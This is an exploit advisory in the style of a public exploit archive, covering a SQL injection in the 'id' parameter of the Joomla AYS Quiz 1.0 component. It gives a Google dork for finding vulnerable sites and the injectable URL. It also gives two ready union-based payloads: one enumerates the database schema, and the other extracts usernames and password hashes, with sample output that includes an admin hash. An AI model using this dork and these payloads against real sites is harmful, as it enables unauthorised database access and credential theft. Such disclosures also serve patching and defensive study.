Joomla! Component AYS Quiz 1.0 - 'id' SQL Injection

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# Exploit Title: Joomla! Component AYS Quiz v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_aysquiz
# Date: 04.03.2017
# Vendor Homepage: http://ays-pro.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/ays-quiz/
# Demo: http://demo.ays-pro.com/index.php/ays-quiz
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
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# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/index.php?option=com_aysquiz&controller=question&id=[SQL]&format=raw
# For example;
# 1'+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3,4,5-- -&format=raw
# :title<li>whlzd_users
# :id<li>whlzd_users
# :name<li>whlzd_users
# :username<li>whlzd_users
# :email<li>whlzd_users
# :password<li>whlzd_users
# :block<li>whlzd_users
# 1'+/*!50000union*/+select+/*!50000concat*/(username,/*!50000char*/(58),password),2,3,4,5+from+whlzd_users-- -&format=raw
# <input class='ays_radio hide' type='radio'  id='ans_admin:$2y$10$T7Cetq0lrME/gyxxS0usx.bh2OldeDOhccAW7Ikf33.KhbmZbEgfa'
# Etc...
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